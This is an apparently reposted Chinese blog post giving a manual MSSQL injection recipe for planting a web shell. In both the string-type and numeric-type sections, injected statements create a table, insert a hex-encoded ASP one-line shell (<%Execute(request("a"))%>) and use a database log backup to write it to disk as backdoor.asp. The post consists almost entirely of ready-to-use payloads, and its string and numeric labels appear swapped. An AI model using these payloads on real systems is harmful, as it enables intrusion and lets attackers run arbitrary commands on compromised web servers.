MSSQL注入时的手工差异备份与提权

转自某个转自别人的博客，最初是谁原创的不清楚了。。。

语句有点问题，修改了下（红色部分，提交一句话内容要进行SQL转码）。。。。

字符型

1.恢复当前库
;alter database 当前库 set RECOVERY FULL--
2.创建表cmd
;create table cmd (a image)--
3.备份当前库到D:\sql
;backup log 当前库 to disk = 'D:\sql' with init--
4.插入一句话代码到创建的表cmd
;insert into cmd (a) values ( 0x3c25457865637574652872657175657374282261222929253e0d0a)--
5.备份一句话代码到站点根目录
;backup log 当前库 to disk = 'D:\sql\backdoor.asp'--
6.完成
';drop table 创建的表--
----------------------------------
数字型
1.恢复当前库
';alter database 当前库 set RECOVERY FULL--
2.创建表cmd
';create table cmd (a image)--
3.备份当前库到D:\sql
';backup log 当前库 to disk = 'D:\sql' with init--
4.插入一句话代码到创建的表cmd
';insert into cmd (a) values ( 0x3c25457865637574652872657175657374282261222929253e0d0a)--
5.备份一句话代码到站点根目录
';backup log 当前库 to disk = 'D:\sql\backdoor.asp'--
6.完成
';drop table 创建的表--
---------------------------------

PS:
字符串：0x3c25457865637574652872657175657374282261222929253e0d0a
编码前是：<%Execute(request("a"))%>